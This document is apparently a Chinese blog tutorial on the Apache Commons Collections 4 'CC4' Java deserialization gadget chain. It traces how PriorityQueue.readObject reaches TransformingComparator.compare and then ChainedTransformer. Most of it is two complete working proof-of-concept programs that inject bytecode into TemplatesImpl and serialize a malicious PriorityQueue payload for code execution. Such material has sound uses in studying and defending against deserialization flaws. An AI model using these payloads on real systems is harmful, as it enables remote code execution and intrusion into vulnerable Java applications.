新依赖:
1 2 3 4 5
| <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
|
原理
后半段是CC3的后半段,利用transformer代码执行。我们需要找到新的调用transform函数的方法。
由于TransformingComparator类在commons-collections3没有实现序列化接口,而commons-collections4实现了,所以才有CC4链的存在。
寻找
CC4链主要利用的是TransformingComparator类里的compare方法
1 2 3 4 5
| public int compare(Object obj1, Object obj2) { Object value1 = this.transformer.transform(obj1); Object value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }
|
这个方法里调用了transform方法。接下来往回找,谁调用了compare方法。
在PriorityQueue类里的siftDownUsingComparator方法调用了compare方法。
1 2 3 4 5
| private void siftDownUsingComparator(int k, E x) { ………… if (comparator.compare(x, (E) c) <= 0) ………… }
|
顺着链子继续找,在本类的siftDown方法调用了siftDownUsingComparator方法:
1 2 3 4 5 6
| private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
|
顺着链子继续找,在本类的heapify方法调用了siftDown方法:
1 2 3 4
| private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
|
顺着链子继续找,在本类的readObject方法调用了heapify方法:
1 2 3 4
| private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { ………… heapify(); }
|
所以整条链子是这样的:
1 2
| 在PriorityQueue中: readObject->heapify->siftDown->siftDownUsingComparator->TransformingComparator类的compare……
|
构造
PriorityQueue类是可序列化的,我们直接new,然后把相应的对象传进去就可以了。
1 2 3
| ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
|
但是仅仅这样还是不能触发反序列化,我们进入调试:
原因是在heapify方法里size为零,不能进入siftDown方法,直接出去了。
这里有两个方法:
方法一:
反射修改size,让size等于2。
1 2 3 4
| Class priorityQueueClass = priorityQueue.getClass(); Field sizeField = priorityQueueClass.getDeclaredField("size"); sizeField.setAccessible(true); sizeField.set(priorityQueue,2);
|
修改size的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class test { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass(); Field nameField = c.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa");
byte[] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class")); byte[][] codes = {code}; Field bytecodesField = c.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates,codes);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); Class priorityQueueClass = priorityQueue.getClass(); Field sizeField = priorityQueueClass.getDeclaredField("size"); sizeField.setAccessible(true); sizeField.set(priorityQueue,2);
serialize(priorityQueue); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize")); oos.writeObject(obj); } }
|
方法二:
我们也能通过该类自带的add方法给size传值,我们进入add:
1 2 3
| public boolean add(E e) { return offer(e); }
|
进入offer:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public boolean offer(E e) { if (e == null) throw new NullPointerException(); modCount++; int i = size; if (i >= queue.length) grow(i + 1); size = i + 1; if (i == 0) queue[0] = e; else siftUp(i, e); return true; }
|
进入siftUP方法:
1 2 3 4 5 6
| private void siftUp(int k, E x) { if (comparator != null) siftUpUsingComparator(k, x); else siftUpComparable(k, x); }
|
发现siftUP和siftDown方法几乎是一模一样的。
这里跟URLDNS链差不多,如果我们直接调用add方法,这里就会走完整条链子,但是并不会反序列化,所以我们需要先在前面把比如给TransformingComparator赋值一个没用的,然后add完了之后再改回chainedTransformer。
1
| TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
|
add后反射修改回去即可:
1 2 3 4 5 6 7
| priorityQueue.add(1); priorityQueue.add(2);
Class t = transformingComparator.getClass(); Field transformerField = t.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator,chainedTransformer);
|
完整CC4链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CC4 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass(); Field nameField = c.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa");
byte[] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class")); byte[][] codes = {code}; Field bytecodesField = c.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates,codes);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1); priorityQueue.add(2);
Class t = transformingComparator.getClass(); Field transformerField = t.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator,chainedTransformer);
serialize(priorityQueue); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize")); oos.writeObject(obj); } }
|